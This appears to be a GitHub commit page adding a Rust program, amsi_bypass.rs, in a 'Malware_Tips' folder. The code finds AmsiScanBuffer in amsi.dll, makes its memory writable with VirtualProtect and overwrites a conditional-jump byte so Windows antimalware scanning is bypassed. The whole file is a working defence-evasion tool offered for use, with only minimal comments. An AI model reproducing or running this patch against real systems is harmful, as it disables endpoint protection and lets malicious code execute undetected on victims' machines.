Skip to content

Commit d76ff0b

Browse files
committed
AMSI PATCH TEST
1 parent acf31e1 commit d76ff0b

File tree

1 file changed

+139
-0
lines changed

1 file changed

+139
-0
lines changed

Malware_Tips/amsi_bypass.rs

Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
/*
2+
AMSI PATCH [Still Working on IT]
3+
*/
4+
use std::ffi::CString;
5+
6+
use winapi::{
7+
ctypes::c_void,
8+
um::{
9+
errhandlingapi::GetLastError,
10+
libloaderapi::{GetProcAddress, LoadLibraryA},
11+
memoryapi::VirtualProtect,
12+
},
13+
};
14+
15+
macro_rules! okey {
16+
($msg:expr, $($arg:expr), *) => {
17+
println!("\\_____[+] {}", format!($msg, $($arg), *));
18+
}
19+
}
20+
21+
macro_rules! error {
22+
($msg:expr, $($arg:expr), *) => {
23+
println!("\\_____[-] {}", format!($msg, $($arg), *));
24+
}
25+
}
26+
27+
#[allow(temporary_cstring_as_ptr)]
28+
fn main(){
29+
let amsi_buffer = CString::new("AmsiScanBuffer").unwrap().into_raw() as *const u8;
30+
31+
unsafe{
32+
let hook: [u8; 1] = [0x75];
33+
34+
let h_module = LoadLibraryA(
35+
CString::new("AMSI").unwrap().as_ptr()
36+
);
37+
38+
let address = GetProcAddress(
39+
h_module,
40+
amsi_buffer as *const i8,
41+
);
42+
43+
if address.is_null(){
44+
error!("GetProcess Address Failed : {}", GetLastError());
45+
}
46+
47+
okey!("H_MODULE: {:?}",h_module);
48+
okey!("GetProcAddress: {:?}",address);
49+
50+
let address_ptr = address as *mut c_void;
51+
let mut count = 0;
52+
53+
okey!("Address PTR: {:?}",address_ptr);
54+
55+
loop{
56+
let opcode_c3 = *(address_ptr as *const u8).add(count);
57+
let opcode_cc = *(address_ptr as *const u8).add(count+1);
58+
let opcode_cc_2 = *(address_ptr as *const u8).add(count+2);
59+
60+
if opcode_c3 == 0xC3 && opcode_cc == 0xCC && opcode_cc_2 == 0xCC{
61+
break;
62+
}
63+
if count == std::usize::MAX { // Check for overflow
64+
error!("Count reached maximum value without finding {}" , "pattern");
65+
std::process::exit(1);
66+
}
67+
count += 1;
68+
}
69+
70+
println!("First Loop Finishes");
71+
72+
loop{
73+
let offset_ptr = address_ptr.add(count) as *const u8;
74+
if is_patchable(offset_ptr){
75+
let mut old_protect: u32 = 0;
76+
77+
let protect = VirtualProtect(
78+
offset_ptr as *mut c_void,
79+
hook.len(),
80+
0x40, // PAGE_EXECUTIVE_READWRITE
81+
&mut old_protect,
82+
);
83+
84+
if protect == 0{
85+
error!("VirtualProtect Failed with Error: {}", GetLastError());
86+
std::process::exit(0);
87+
}
88+
89+
std::ptr::copy_nonoverlapping(
90+
hook.as_ptr(),
91+
offset_ptr as _,
92+
hook.len(),
93+
);
94+
95+
let protect2 = VirtualProtect(
96+
offset_ptr as *mut c_void,
97+
hook.len(),
98+
old_protect,
99+
&mut old_protect
100+
);
101+
102+
if protect2 == 0{
103+
error!("VirtualProtect Failed with Error: {}",GetLastError());
104+
}
105+
106+
okey!("PATCH AMSI Finish {}",'!');
107+
108+
break;
109+
}
110+
if count == 0 { // Check for underflow
111+
error!("Count reached minimum value without finding {}.","pattern");
112+
std::process::exit(1);
113+
}
114+
count -= 1;
115+
}
116+
}
117+
}
118+
119+
fn is_patchable(addr: *const u8)-> bool{
120+
unsafe{
121+
let opcode = *(addr as *const u8);
122+
if opcode != 0x74{
123+
return false
124+
}
125+
126+
let new_address = *(addr.add(std::mem::size_of::<u8>()));
127+
let mov_address = addr.add(std::mem::size_of::<u8>() * 2).add(new_address as usize);
128+
129+
if *mov_address == 0xB8{
130+
return true
131+
}
132+
}
133+
false
134+
}
135+
136+
137+
#[repr(transparent)]
138+
#[allow(non_camel_case_types)]
139+
pub struct PAGE_PROTECTION_FLAGS(pub u32);

0 commit comments

Comments
 (0)